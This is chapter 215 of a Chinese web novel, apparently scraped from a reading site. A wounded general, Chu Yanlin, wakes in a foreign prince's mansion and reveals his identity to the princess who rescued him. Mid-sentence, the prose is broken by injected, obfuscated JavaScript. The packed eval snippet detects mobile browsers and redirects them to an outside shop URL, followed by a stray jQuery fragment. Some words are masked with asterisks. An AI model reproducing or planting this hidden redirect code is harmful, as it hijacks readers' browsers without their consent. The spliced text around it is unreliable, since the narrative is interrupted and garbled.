第215章 东桑国南阳王府

作品:《兼挑两房?我换嫁你亡兄牌位生三胎!

    楚言凛是在一阵剧痛和奇异的暖香中恢复意识的。


    眼皮沉重得像坠了铅,他费力掀开一丝缝隙,模糊的视线里是绣着繁复缠枝莲纹的杏黄色帐顶,不是军营粗劣的麻布,也不是山野冰冷的岩壁。


    身下是柔软厚实的锦褥,空气里浮动着清甜的、类似于柑橘混合某种花香的气息,温暖得几乎让人沉溺。


    他还活着?


    这个认知让他混沌的脑子清醒了一瞬,随即记忆的碎片汹涌而来。


    冀州城外,安王惊恐扭曲的脸,丢下的“断后”命令,三千对三万悬殊的兵力,惨烈的厮杀,不断倒下的袍泽,身中数箭的坠马,冰冷刺骨的河水,无尽的黑暗……


    “别乱动。”


    一个清凌凌的女声响起,带着几分好奇和不容置疑。


    楚言凛勉强侧过头,看向声音来源。


    床边站着个少女,约莫十六七岁年纪,穿着一身鹅黄色绣金线的骑装,头发束成高高的马尾,露出光洁的额头和一双灵动慧黠的眼睛。


    她正低头看着他,手里还拿着一块半湿的帕子,见他睁眼,眼睛弯了弯,像两枚新月。


    “你总算醒了!”少女语气带着点得意,“知不知道本郡主花了多少心血才把你从阎王爷手里抢回来?你身上大大小小的伤口十七八处,最要命的是背上那一箭,再偏一寸你就没命啦!还有那河水那么冰,泡了那么久……”


    她叽叽喳喳,语速很快,像只春日里的**。


    楚言凛没说话,只是静静看着她,眼底深处是竭力掩饰的警惕和评估。


    这里是哪里?


    这少女是谁?听她自称郡主。


    “喂,你怎么不说话?傻啦?”少女见他只是盯着自己,伸手在他眼前晃了晃,“还是摔坏脑子了?我是李清河,这里是东桑国,南阳王府。是我在山下的溪边发现你的,当时你可吓人了,浑身是血,就剩一口气吊着。”


    东桑国?


    南阳王府?


    楚言凛心头一震。


    他竟然被冲到了敌国境内?


    东桑国目前算是中立,但同样危险。


    他张了张嘴,喉咙干涩发痛,声音沙哑得几乎听不清:“多……谢郡主……救命之恩。在下……在下……”


    说着他顿住,脑中急转。


    不能暴露身份,至少现在不能。


    “我……不记得了。”楚言凛闭上眼,眉头紧蹙,做出努力回忆却徒劳的痛苦模样,“只记得……好像是在打仗,很多人……然后掉进水里……其他的,都想不起来了。”


    “失忆了?”李清河挑了挑眉,凑近了些,仔细打量他的脸。


    这张脸即便苍白憔悴,就算沾着血污,也难掩其俊朗深邃的轮廓,尤其是那双眼睛,即便此刻虚弱,睁开时也如寒星般锐利清冷,绝非寻常士卒所有。


    就是看到这张脸,她才决定救人的。


    她救他回来时,他身上的甲胄虽破损严重,但制式精良,绝非普通兵士能穿戴。


    还有他昏迷时无意识流露出的某种气质,就不像普通小兵。


    李清河自幼长在王府,见多了形形**的人,心里早就有了猜测。


    “哦,不记得了啊?”她拖长了语调,忽然狡黠一笑,“那你想不想去找你的家人?我看你昏迷时,眉头皱得死紧,嘴里还含糊喊着什么‘守住’、‘撤退’的,肯定是边境上的人吧?可惜啊,这里离大盛边境远着呢,隔着千山万水,你这副样子,怕是没走出南阳城就散架了。”


    楚言凛心中一凛。


    这郡主,绝非表面看上去那般天真烂漫。


    她是在试探自己。


    他强撑着想要坐起,牵扯到伤口,顿时疼得闷哼一声,额上渗出冷汗。“无论如何……在下必须回去。家中……尚有老父幼子牵挂。郡主大恩,来日若能记起,定当厚报。”


    “老父幼子?”李清河眨了眨眼,忽然道,“你是不是想起什么了?比如你是北凉人,还是大盛人?”


    楚言凛心头警铃大作,抬眼看她。


    少女依旧笑着,但那笑容里多了几分了然和探究。


    “我是从靠近大盛边境的溪涧里把你捞起来的。”李清河抱起手臂,好整以暇地看着他,“那边最近可不太平,北凉、西周和大盛打得热火朝天。你身上的伤,有新有旧,一看就是久经沙场。再加上你这通身的气派……”


    她顿了顿,声音压低了些,“老实说吧,你是北凉的将军,还是大盛的将军?说了实话,说不定本郡主心情好,还能帮你引荐给我父王。毕竟你们大盛国的使臣,这几日可正在我们东桑京城,游说我父王出兵


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090778|181966||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    相助呢。”


    最后这句话,像一道惊雷,劈开了楚言凛心中的迷雾和警惕。


    大盛使臣来了东桑!


    在寻求联盟!


    他不再犹豫,也无需再伪装。


    时间紧迫,他必须抓住任何可能的机会。


    “在下楚言凛,”他深吸一口气,一字一句道,“大盛忠勇将军,北境副帅。”


    李清河眼睛倏地亮了,像是发现了什么极有趣的宝藏。


    “果然!我就说嘛!”她绕着床边走了半圈,上下打量他,啧啧称奇,“原来你就是那个传说中下落不明、生死未卜的楚将军?都说你**,没想到命这么硬,漂到我们东桑来了!”


    “郡主,”楚言凛顾不上她的调侃,急切道,“如今边境战事如何?大盛使臣……可能促成联盟?在下必须尽快返回军中!”


    “回去?就你现在这样?”李清河撇撇嘴,“路都走不稳,回去送死吗?再说了,你想回去,也得我父王点头才行。你现在可是在我们南阳王府的地盘上。”


    楚言凛沉默。


    她知道她说的对。他的伤势极重,没有一两个月根本恢复不了战力。


    而且,他身处异国,若无当地权贵相助,别说回国,只怕连王府大门都出不去。


    “郡主想要什么?”楚言凛想着,直截了当地问。


    天下没有白吃的午餐,这位清河郡主救他,又点破他的身份,必有所求。


    李清河脸上掠过一丝极淡的红晕。


    “我想要什么?现在说了也不算。等见过我父王,确定了联盟之事,再说吧。”她转身朝外走去,到了门口又回头,冲他嫣然一笑,“楚将军,好好养伤。你的命是我捡回来的,可得珍惜点,别让我白忙一场。”


    接下来的几天,楚言凛被严密又周到地照顾着。


    南阳王府的药材和大夫确实了得,他的伤势恢复得比预想中快。


    但他心急如焚,却只能困在这精致的牢笼里,对外界消息一无所知。


    直到三天后,李清河兴冲冲地跑来告诉他,大盛使臣来了,今日在宫里设宴,她可以带他“偷偷”去见一面。


    “多谢郡主。”


    楚言凛很高兴,换上了一身东桑风格的常服,在李清河的掩护下,扮作她的随从,混了进去。